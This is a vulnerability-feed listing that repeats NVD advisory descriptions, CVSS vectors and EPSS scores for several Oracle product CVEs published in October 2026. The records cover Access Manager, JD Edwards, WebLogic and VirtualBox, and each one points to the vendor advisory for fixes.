Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83409).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83409&date=2026-10-25).
Sources:
NVD CVE-2026-83409: https://nvd.nist.gov/vuln/detail/CVE-2026-83409
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83409&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SAML to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-83426
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83426).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83426&date=2026-10-25).
Sources:
NVD CVE-2026-83426: https://nvd.nist.gov/vuln/detail/CVE-2026-83426
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83426&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  While the vulnerability is in Oracle Access Manager, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Access Manager accessible data as well as  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).
https://kevwire.com/record/CVE-2026-87263
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87263).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87263&date=2026-10-25).
Sources:
NVD CVE-2026-87263: https://nvd.nist.gov/vuln/detail/CVE-2026-87263
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87263&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in takeover of Oracle Business Intelligence Enterprise Edition. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).
https://kevwire.com/record/CVE-2026-87296
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine). (Oct 20, 2026).
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87296).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87296&date=2026-10-25).
Sources:
NVD CVE-2026-87296: https://nvd.nist.gov/vuln/detail/CVE-2026-87296
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87296&date=2026-10-25
Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: Authentication Engine).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Access Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).
https://kevwire.com/record/CVE-2026-87300
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers). (Oct 20, 2026).
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87300).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87300&date=2026-10-25).
Sources:
NVD CVE-2026-87300: https://nvd.nist.gov/vuln/detail/CVE-2026-87300
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87300&date=2026-10-25
Vulnerability in the Oracle Weblogic Server Proxy Plug-in product of Oracle Fusion Middleware (component: WebLogic Server Proxy Plug-In for Third-Party Web Servers).  Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and  14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Weblogic Server Proxy Plug-in.  While the vulnerability is in Oracle Weblogic Server Proxy Plug-in, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Weblogic Server Proxy Plug-in accessible data as well as  unauthorized access to critical data or complete access to all Oracle Weblogic Server Proxy Plug-in accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).
https://kevwire.com/record/CVE-2026-87301
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H).
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87301).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87301&date=2026-10-25).
Sources:
NVD CVE-2026-87301: https://nvd.nist.gov/vuln/detail/CVE-2026-87301
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87301&date=2026-10-25
Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core).   The supported version that is affected is 7.2.16. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox.  While the vulnerability is in Oracle VM VirtualBox, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle VM VirtualBox accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle VM VirtualBox. CVSS 3.1 Base Score 8.4 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-87304
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87304).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87304&date=2026-10-25).
Sources:
NVD CVE-2026-87304: https://nvd.nist.gov/vuln/detail/CVE-2026-87304
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87304&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  While the vulnerability is in Oracle Outside In Technology, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-87305
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SMTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87305).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87305&date=2026-10-25).
Sources:
NVD CVE-2026-87305: https://nvd.nist.gov/vuln/detail/CVE-2026-87305
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87305&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SMTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-87306
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87306).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87306&date=2026-10-25).
Sources:
NVD CVE-2026-87306: https://nvd.nist.gov/vuln/detail/CVE-2026-87306
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87306&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).
https://kevwire.com/record/CVE-2026-87307
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87307).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87307&date=2026-10-25).
Sources:
NVD CVE-2026-87307: https://nvd.nist.gov/vuln/detail/CVE-2026-87307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87307&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Interoperability SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).
https://kevwire.com/record/CVE-2026-87308
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87308).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87308&date=2026-10-25).
Sources:
NVD CVE-2026-87308: https://nvd.nist.gov/vuln/detail/CVE-2026-87308
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87308&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Enterprise Infrastructure SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data as well as  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).
https://kevwire.com/record/CVE-2026-87309
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87309).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87309&date=2026-10-25).
Sources:
NVD CVE-2026-87309: https://nvd.nist.gov/vuln/detail/CVE-2026-87309
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87309&date=2026-10-25
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Package Build SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all JD Edwards EnterpriseOne Tools accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).
https://kevwire.com/record/CVE-2026-87310
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC). (Oct 20, 2026).
Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Database and Comm SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87310).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87310&date=2026-10-25).
Sources:
NVD CVE-2026-87310: https://nvd.nist.gov/vuln/detail/CVE-2026-87310
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87310&date=2026-10-25
